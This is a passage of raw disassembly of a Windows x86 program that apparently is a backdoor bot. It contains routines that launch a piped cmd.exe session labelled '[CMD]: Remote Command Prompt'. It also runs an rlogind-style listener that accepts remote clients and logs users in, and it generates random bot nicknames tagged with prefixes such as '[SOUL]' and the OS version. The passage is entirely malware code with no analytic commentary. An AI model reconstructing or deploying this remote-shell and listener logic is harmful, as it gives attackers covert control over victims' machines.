		jz	short loc_40DCA9
		cmp	[ebp+var_8], 103h
		jnz	loc_40DD75


loc_40DCA9:				; CODE XREF: sub_40DC39+61j
		push	0Ah
		call	ds:dword_41F000
		jmp	short loc_40DD1A
; ---------------------------------------------------------------------------


loc_40DCB3:				; CODE XREF: sub_40DC39+4Dj
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40DCCE


loc_40DCBA:				; CODE XREF: sub_40DC39+93j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	loc_40DD6C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40DCBA


loc_40DCCE:				; CODE XREF: sub_40DC39+7Fj
		mov	[ebp+var_4], esi


loc_40DCD1:				; CODE XREF: sub_40DC39+137j
		xor	eax, eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F058
		test	eax, eax
		jz	loc_40DD9D
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		add	esp, 0Ch


loc_40DD1A:				; CODE XREF: sub_40DC39+78j
		xor	eax, eax
		push	eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F0E4
		test	eax, eax
		jnz	loc_40DC81


loc_40DD48:				; CODE XREF: sub_40DC39+40j
		push	offset aCmdCouldNotRea ; "[CMD]: Could not read	data from procces"...
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	1
		jmp	short loc_40DDBF
; ---------------------------------------------------------------------------


loc_40DD6C:				; CODE XREF: sub_40DC39+89j
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_40DCD1
; ---------------------------------------------------------------------------


loc_40DD75:				; CODE XREF: sub_40DC39+6Aj
		call	sub_40DB3D
		push	offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	edi
		jmp	short loc_40DDBF
; ---------------------------------------------------------------------------


loc_40DD9D:				; CODE XREF: sub_40DC39+C1j
		push	offset aCmdCouldNotR_0 ; "[CMD]: Could not read	data from procces"...
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	0


loc_40DDBF:				; CODE XREF: sub_40DC39+131j
					; sub_40DC39+162j
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40DC39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDC6	proc near		; CODE XREF: sub_4078FA+421Cp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		call	sub_40DB3D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4334C0
		test	eax, eax
		jnz	short loc_40DDFD
		or	eax, 0FFFFFFFFh
		jmp	loc_40DF72
; ---------------------------------------------------------------------------


loc_40DDFD:				; CODE XREF: sub_40DDC6+2Dj
		push	ebx
		push	edi
		mov	edi, ds:dword_41F0EC
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jnz	short loc_40DE30


loc_40DE28:				; CODE XREF: sub_40DDC6+7Bj
					; sub_40DDC6+9Dj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40DF70
; ---------------------------------------------------------------------------


loc_40DE30:				; CODE XREF: sub_40DDC6+60j
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	short loc_40DE28
		mov	edi, ds:dword_41F0B4
		push	3
		push	esi
		push	esi
		push	offset dword_479BC0
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	ds:dword_41F0E8
		test	eax, eax
		jz	short loc_40DE28
		xor	eax, eax
		lea	edi, [ebp+var_2C]
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_74]
		rep stosd
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		mov	ebx, 41FA76h
		push	ebx
		lea	eax, [ebp+var_178]
		push	eax
		mov	[ebp+var_74], 44h
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_41F030
		test	eax, eax
		jz	loc_40DE28
		push	[ebp+var_4]
		mov	edi, ds:dword_41F034
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_479BCC, eax
		mov	eax, [ebp+var_8]
		mov	dword_479BC8, eax
		mov	eax, [ebp+var_2C]
		mov	dword_479C04, eax
		call	edi
		cmp	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		mov	dword_479BC4, eax
		jz	short loc_40DEFC
		push	[ebp+arg_4]
		jmp	short loc_40DEFD
; ---------------------------------------------------------------------------


loc_40DEFC:				; CODE XREF: sub_40DDC6+12Fj
		push	ebx


loc_40DEFD:				; CODE XREF: sub_40DDC6+134j
		push	offset dword_479BD0
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	esi
		push	8
		push	offset aCmdRemoteComma ; "[CMD]: Remote	Command	Prompt"
		call	sub_410EEA
		mov	ecx, [ebp+var_24]
		mov	edi, eax
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_434340[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40DC39
		push	esi
		push	esi
		call	ds:dword_41F00C
		cmp	eax, esi
		mov	dword_43434C[edi], eax
		jnz	short loc_40DF6E
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_378]
		push	offset aCmdFailedToSta ; "[CMD]: Failed	to start IO thread, error"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_40DF6E:				; CODE XREF: sub_40DDC6+17Fj
		xor	eax, eax


loc_40DF70:				; CODE XREF: sub_40DDC6+65j
		pop	edi
		pop	ebx


loc_40DF72:				; CODE XREF: sub_40DDC6+32j
		pop	esi
		leave
		retn
sub_40DDC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF75	proc near		; CODE XREF: sub_40E00D+A6p
					; sub_40E00D+B6p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax


loc_40DF7C:				; CODE XREF: sub_40DF75+2Aj
		push	0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	dword_433414
		cmp	eax, 1
		jnz	short loc_40DFB2
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_4]
		jz	short loc_40DFA7
		test	al, al
		jnz	short loc_40DF7C
		xor	eax, eax
		inc	eax


loc_40DFA4:				; CODE XREF: sub_40DF75+3Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DFA7:				; CODE XREF: sub_40DF75+26j
		push	offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
		call	sub_401CA7
		pop	ecx


loc_40DFB2:				; CODE XREF: sub_40DF75+1Bj
		xor	eax, eax
		jmp	short loc_40DFA4
sub_40DF75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFB6	proc near		; DATA XREF: sub_40E219+5Ao

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		retn
sub_40DFB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFC0	proc near		; CODE XREF: sub_40E00D+175p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40DFC5:				; CODE XREF: sub_40DFC0+21j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40DFE7
		test	cl, cl
		jz	short loc_40DFE3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40DFE7
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40DFC5


loc_40DFE3:				; CODE XREF: sub_40DFC0+Fj
		xor	eax, eax
		jmp	short loc_40DFEC
; ---------------------------------------------------------------------------


loc_40DFE7:				; CODE XREF: sub_40DFC0+Bj
					; sub_40DFC0+19j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40DFEC:				; CODE XREF: sub_40DFC0+25j
		test	eax, eax
		pop	esi
		jz	short loc_40E009
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
		call	sub_401CA7
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E009:				; CODE XREF: sub_40DFC0+2Fj
		xor	eax, eax
		inc	eax
		retn
sub_40DFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40E00D	proc near		; DATA XREF: sub_40E219+19Fo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_3D4]
		rep movsd
		mov	esi, [ebp+74h+var_208]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		mov	eax, dword_434344[esi]
		mov	[ebp+74h+var_1F0], eax
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_1F4]
		push	eax
		push	ebx
		mov	[ebp+74h+var_C], 1Eh
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_1F4], edi
		call	dword_433544
		test	eax, eax
		jnz	short loc_40E096
		push	dword_434344[esi]
		call	dword_4335AC
		push	[ebp+74h+var_208]


loc_40E08B:				; CODE XREF: sub_40E00D+1A2j
		call	sub_4111AE
		pop	ecx
		jmp	loc_40E211
; ---------------------------------------------------------------------------


loc_40E096:				; CODE XREF: sub_40E00D+6Aj
		push	ebx
		push	edi
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	dword_434344[esi]
		call	dword_433414
		push	10h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_2C]
		call	sub_40DF75
		push	10h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_4C]
		call	sub_40DF75
		push	40h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_F0]
		call	sub_40DF75
		add	esp, 18h
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	dword_434344[esi]
		mov	[ebp+74h+var_4], 10h
		call	dword_4334E0
		test	eax, eax
		jz	short loc_40E11E
		call	dword_433558
		push	eax
		push	offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
		call	sub_401CA7
		push	[ebp+74h+var_208]
		call	sub_4111AE
		add	esp, 0Ch
		jmp	loc_40E211
; ---------------------------------------------------------------------------


loc_40E11E:				; CODE XREF: sub_40E00D+EBj
		push	2
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		call	dword_433590
		cmp	eax, ebx
		jnz	short loc_40E147
		push	[ebp+74h+var_18]
		call	dword_433520
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40E156
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E00D+121j
		mov	ecx, [eax]
		lea	edx, [ebp+74h+var_B0]


loc_40E14C:				; CODE XREF: sub_40E00D+147j
		mov	al, [ecx]
		inc	ecx
		mov	[edx], al
		inc	edx
		cmp	al, bl
		jnz	short loc_40E14C


loc_40E156:				; CODE XREF: sub_40E00D+138j
		push	ebx
		push	edi
		push	41FA76h
		push	dword_434344[esi]
		call	dword_433534
		cmp	dword_479C0C, ebx
		jnz	short loc_40E1B4
		push	[ebp+74h+var_18]
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		lea	eax, [ebp+74h+var_350]
		call	sub_40DFC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E1B4
		push	ebx
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		lea	esi, dword_434344[esi]
		push	dword ptr [esi]
		call	dword_433534
		push	dword ptr [esi]
		call	dword_4335AC
		push	[ebp+74h+arg_0]
		jmp	loc_40E08B
; ---------------------------------------------------------------------------


loc_40E1B4:				; CODE XREF: sub_40E00D+162j
					; sub_40E00D+17Fj
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_40F3F5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40E1F4
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_4111AE
		add	esp, 0Ch
		push	edi
		jmp	short loc_40E212
; ---------------------------------------------------------------------------


loc_40E1F4:				; CODE XREF: sub_40E00D+1C6j
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_4111AE
		add	esp, 10h


loc_40E211:				; CODE XREF: sub_40E00D+84j
					; sub_40E00D+10Cj
		push	ebx


loc_40E212:				; CODE XREF: sub_40E00D+1E5j
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40E00D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E219	proc near		; DATA XREF: sub_4078FA+40DBo

var_5A8		= byte ptr -5A8h
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_218]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1DCh], esi
		lea	eax, [ebp+var_5A8]
		push	eax
		push	202h
		call	dword_4334B0
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40E272
		push	eax
		push	offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
		call	sub_401CA7
		push	[ebp+var_50]
		call	sub_4111AE
		add	esp, 0Ch


loc_40E26C:				; CODE XREF: sub_40E219+8Bj
		push	esi
		jmp	loc_40E48E
; ---------------------------------------------------------------------------


loc_40E272:				; CODE XREF: sub_40E219+3Bj
		push	esi
		push	offset sub_40DFB6
		call	ds:dword_41F0F0
		test	eax, eax
		jnz	short loc_40E2A6
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		call	dword_4335B8
		push	[ebp+var_50]
		call	sub_4111AE
		pop	ecx
		jmp	short loc_40E26C
; ---------------------------------------------------------------------------


loc_40E2A6:				; CODE XREF: sub_40E219+67j
		push	[ebp+var_54]
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_24], 2
		call	dword_4335EC
		push	6
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4334A0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40E41E
		mov	ecx, [ebp+var_50]
		imul	ecx, 234h
		push	10h
		pop	edi
		mov	dword_434344[ecx], eax
		push	edi
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		call	dword_433578
		test	eax, eax
		jnz	loc_40E41E
		push	7FFFFFFFh
		push	[ebp+arg_0]
		call	dword_4335C0
		test	eax, eax
		jnz	loc_40E41E
		push	offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_401C33
		pop	ecx
		mov	[ebp+var_8], esi
		jmp	loc_40E3FD
; ---------------------------------------------------------------------------


loc_40E338:				; CODE XREF: sub_40E219+1FDj
		push	[ebp+var_8]
		lea	eax, [ebp+var_8]
		push	eax
		push	8
		push	0FFFFh
		push	esi
		call	dword_4334BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3FD
		push	[ebp+var_50]
		movzx	eax, [ebp+var_32]
		push	eax
		push	[ebp+var_30]
		mov	[ebp+var_3C], ebx
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindClientC ; "[RLOGIND]: Client connection from IP:	%"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401C33
		push	esi
		lea	eax, [ebp+var_418]
		push	7
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+var_50]
		mov	[ebp+var_4C], eax
		imul	eax, 234h
		add	esp, 24h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		lea	eax, [ebp+var_218]
		push	eax
		push	offset sub_40E00D
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_40E3F8
		call	ds:dword_41F008
		push	eax
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40E421
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40E219+1E2j
		push	32h
		call	ds:dword_41F000


loc_40E3F8:				; CODE XREF: sub_40E219+1C0j
		cmp	[ebp+var_3C], ebx
		jz	short loc_40E3F0


loc_40E3FD:				; CODE XREF: sub_40E219+11Aj
					; sub_40E219+137j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], edi
		call	dword_433464
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40E338
		jmp	short loc_40E421
; ---------------------------------------------------------------------------


loc_40E41E:				; CODE XREF: sub_40E219+BDj
					; sub_40E219+E3j ...
		mov	esi, [ebp+arg_0]


loc_40E421:				; CODE XREF: sub_40E219+1D5j
					; sub_40E219+203j
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_40], ebx
		jnz	short loc_40E461
		push	ebx
		push	[ebp+var_44]
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+var_218]
		call	sub_4045DD
		add	esp, 14h


loc_40E461:				; CODE XREF: sub_40E219+226j
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401C33
		pop	ecx
		push	esi
		call	dword_4335AC
		push	[ebp+arg_0]
		call	dword_4335AC
		call	dword_4335B8
		push	[ebp+var_50]
		call	sub_4111AE
		pop	ecx
		push	ebx


loc_40E48E:				; CODE XREF: sub_40E219+54j
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40E219	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E495	proc near		; CODE XREF: sub_40E7B0+6Cp
					; DATA XREF: .data:off_42B298o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aSoul ;	"[SOUL]"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E4EE


loc_40E4C8:				; CODE XREF: sub_40E495+57j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E4C8


loc_40E4EE:				; CODE XREF: sub_40E495+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40E495	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4F3	proc near		; CODE XREF: sub_4078FA+2C3Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_412D71
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_42AE60
		test	esi, esi
		jle	short loc_40E536


loc_40E520:				; CODE XREF: sub_40E4F3+41j
		call	sub_412D71
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40E520


loc_40E536:				; CODE XREF: sub_40E4F3+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40E4F3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		mov	esi, offset aPc	; "PC"
		push	esi
		call	ds:dword_41F0B0
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42AE60, esi
		jle	short loc_40E5A9


loc_40E583:				; CODE XREF: .text:0040E5A7j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E583


loc_40E5A9:				; CODE XREF: .text:0040E581j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	ds:dword_41F0F4
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E61E


loc_40E5F8:				; CODE XREF: .text:0040E61Cj
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E5F8


loc_40E61E:				; CODE XREF: .text:0040E5F6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 94h
		push	esi
		push	edi
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, 41FA76h
		mov	dword ptr [ebp-20h], 94h
		call	ds:dword_41F0F8
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		cmp	dword ptr [ebp-1Ch], 4
		pop	ecx
		jnz	short loc_40E692
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40E678
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_40E66B
		mov	esi, offset a95	; "95"


loc_40E66B:				; CODE XREF: .text:0040E664j
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_40E6C2
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E678:				; CODE XREF: .text:0040E65Ej
		cmp	dword ptr [ebp-18h], 0Ah
		jnz	short loc_40E685
		mov	esi, offset a98	; "98"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E685:				; CODE XREF: .text:0040E67Cj
		cmp	dword ptr [ebp-18h], 5Ah
		jnz	short loc_40E6BD
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E692:				; CODE XREF: .text:0040E658j
		cmp	dword ptr [ebp-1Ch], 5
		jnz	short loc_40E6BD
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40E6A5
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E6A5:				; CODE XREF: .text:0040E69Cj
		cmp	dword ptr [ebp-18h], 1
		jnz	short loc_40E6B2
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E6B2:				; CODE XREF: .text:0040E6A9j
		cmp	dword ptr [ebp-18h], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40E6C2


loc_40E6BD:				; CODE XREF: .text:0040E689j
					; .text:0040E696j
		mov	esi, offset a??? ; "???"


loc_40E6C2:				; CODE XREF: .text:0040E66Fj
					; .text:0040E676j ...
		mov	edi, [ebp+7Ch]
		push	esi
		push	offset aS_5	; "[%s]"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E706


loc_40E6E0:				; CODE XREF: .text:0040E704j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E6E0


loc_40E706:				; CODE XREF: .text:0040E6DEj
		mov	eax, edi
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E70F	proc near		; CODE XREF: sub_40E7B0+80p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41F004
